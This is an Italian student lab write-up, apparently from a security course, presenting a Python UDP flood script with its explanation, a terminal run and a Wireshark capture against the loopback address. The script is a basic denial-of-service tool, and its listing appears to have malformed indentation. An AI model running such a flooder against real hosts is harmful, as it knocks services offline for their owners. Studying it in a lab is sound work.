

TRACCIA:

Traccia:

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'**invio** massivo di richieste **UDP** verso una macchina target che è in **ascolto** su una porta UDP **casuale** (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target (input)
- Il programma deve richiedere l'inserimento della porta target (input)
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – **Suggerimento**: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare (input)

SVOLGIMENTO E SPIEGAZIONE DEL CODICE:

```
eserciziosocket.py > UDP_flood
1  import random
2  import socket
3
4  def UDP_flood ():
5      dati_da_inviare= random.urandom (1024)
6      for x in range (npacchetti):
7          s.sendto (dati_da_inviare, target)
8          print("#",x,"-UDP inviato\n")
9
10     indirizzoip= str(input("inserisci l'indirizzo IP target: "))
11     porta= int(input("inserisci la porta: "))
12     npacchetti= int(input("inserisci il numero di pacchetti da inviare: "))
13
14     try:
15         s= socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
16         target = (str(indirizzoip),int(porta))
17
18     except:
19         s.close()
20         print("ERROR")
21
22     UDP_flood ()
23
```

per prima cosa ho importato le librerie random (funzione che usa e genera byte casuali) e socket per creare il socket di rete, ho definito la funzione UDP flood e nelle funzione ho poi definito i parametri quali pacchetti random da inviare di 1024 byte casuali ho creato ho creato voluto un solo ciclo con for di pacchetti da inviare for x in range conto quante volte viene inviato il pacchetto a ogni ciclo while, sendto target (dati da inviare / target coppia IP/porta) poi ho creato le variabili che da tastiera mi fanno inserire l'ip target, la porta e il numero di pacchetti da inviare.
try: creo un socket UDP target: indirizzoip/porta (tupla di destinazione)

```

/bin/python /home/kali/Documents/python/eserciziosocket.py
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~/Documents/python]
$ /bin/python /home/kali/Documents/python/eserciziosocket.py
inserisci l'indirizzo IP target: 127.0.0.1
inserisci la porta: 5443
inserisci il numero di pacchetti da inviare: 10
# 0 -UDP inviato

# 1 -UDP inviato

# 2 -UDP inviato

```

```

# 3 -UDP inviato

# 4 -UDP inviato

# 5 -UDP inviato

# 6 -UDP inviato

# 7 -UDP inviato

# 8 -UDP inviato

# 9 -UDP inviato

```

udp						
No.	Time	Source	Destination	Protocol	Length	Info
137	51.841906023	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
138	51.841913447	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
139	51.842131816	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
140	51.842135688	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
141	51.842154117	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
142	51.842156228	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
143	51.842171676	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
144	51.842173477	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
145	51.842188244	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
146	51.842190115	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
147	51.842216869	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
148	51.842218910	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
149	51.842227914	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
150	51.842229755	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
151	51.842277279	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
152	51.842279650	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
153	51.842299870	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
154	51.842301731	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
155	51.842309805	127.0.0.1	127.0.0.1	UDP	1066	35591 → 5443 Len=1024
156	51.842311606	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)

Frame 137: 1066 bytes on wire (8528 bits), 1066 bytes captured (8528 bits) on interface lo, id 0
 Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
 Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
 User Datagram Protocol, Src Port: 35591, Dst Port: 5443

ho fatto partire il codice e con wireshark ho ascoltato sull'indirizzo di loopback 127.0.0.1 sulla porta che avevo scelto che è la 5443 e wireshark mi ha confermato la ricezione dei pacchetti UDP sulla porta target.

